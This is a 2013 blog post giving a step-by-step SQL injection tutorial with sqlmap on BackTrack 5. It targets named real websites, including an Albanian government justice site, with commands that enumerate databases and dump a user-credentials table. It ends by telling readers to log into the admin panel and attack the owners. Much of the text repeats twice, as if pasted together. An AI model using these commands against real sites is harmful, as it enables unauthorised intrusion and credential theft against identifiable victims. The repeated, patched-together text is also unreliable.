Sonic Tricks always tries to improve your sense of knowledge and give you a huge ammount of knowledge with great apps developed by us and tutorial as you wanted.
Saturday, 13 July 2013
HOW TO HACK ALMOST EVERY SITE WITH SQLMAP ( BACKTRACK )
Start
- - - - - - - - - -
First of all you must to find some vuln sites...
Our target is : http://www.zwcad.org/
vuln : http://www.zwcad.org/download_form.php?id=107
to se if it is vuln try to add ' on url, like this :
http://www.zwcad.org/download_form.php?id=107'
- - - - - - - - - - - - - - - - - - - - - - - - - -
now when we have some vuln sites we can open a sqlmap...
Start>Backtrack>Exploitation Tools>Web Exploitation Tools>sqlmap
This is on a BackTrack 5...
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Now we must type some commands..
python sqlmap.py -u http://www.justice.gov.al/index.php?gj=gj1 --dbs
when we hit the ENTER the scan is started and when scan is over we will get database's, it looks
Then we must put another commands to start searching a tables..
that command is :
python sqlmap.py -u http://www.justice.gov.al/index.php?gj=gj1 -D justice2011DB --tables
When you hit the enter the tables seraching is started and when it's over we get this info :
python sqlmap.py -u http://www.justice.gov.al/index.php?gj=gj1 -D justice2011DB -T cms_users --dump
And you will get this :
python sqlmap.py -u http://www.justice.gov.al/index.php?gj=gj1 -D justice2011DB -T cms_users -C herethecolumnname --dump
With this command we will get a info about one column..
Now when we get the all info, we only must to find a admin panel and to log in and FUCK THEM
Sorry about my bad English, if i make some mistakes !
Happy hacking !
- - - - - - - - - -
First of all you must to find some vuln sites...
Our target is : http://www.zwcad.org/
vuln : http://www.zwcad.org/download_form.php?id=107
to se if it is vuln try to add ' on url, like this :
http://www.zwcad.org/download_form.php?id=107'
- - - - - - - - - - - - - - - - - - - - - - - - - -
now when we have some vuln sites we can open a sqlmap...
Start>Backtrack>Exploitation Tools>Web Exploitation Tools>sqlmap
This is on a BackTrack 5...
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Now we must type some commands..
python sqlmap.py -u http://www.justice.gov.al/index.php?gj=gj1 --dbs
when we hit the ENTER the scan is started and when scan is over we will get database's, it looks
Then we must put another commands to start searching a tables..
that command is :
python sqlmap.py -u http://www.justice.gov.al/index.php?gj=gj1 -D justice2011DB --tables
When you hit the enter the tables seraching is started and when it's over we get this info :
Now we must type a third command for searching columns, but dirst we must to chose a one table to get columns. I chose a cms_users table..
python sqlmap.py -u http://www.justice.gov.al/index.php?gj=gj1 -D justice2011DB -T cms_users --dump
And you will get this :
You can to this too : Step by step..
To type a command for coloumns :python sqlmap.py -u http://www.justice.gov.al/index.php?gj=gj1 -D justice2011DB -T cms_users -C herethecolumnname --dump
With this command we will get a info about one column..
Ypu always can find your files fump in : /pentest/web/scanners/sqlmap/output/
Now when we get the all info, we only must to find a admin panel and to log in and FUCK THEM
If you like this tutorial give me +1 rep !
Sorry about my bad English, if i make some mistakes !
Happy hacking !
Subscribe to:
Comments (Atom)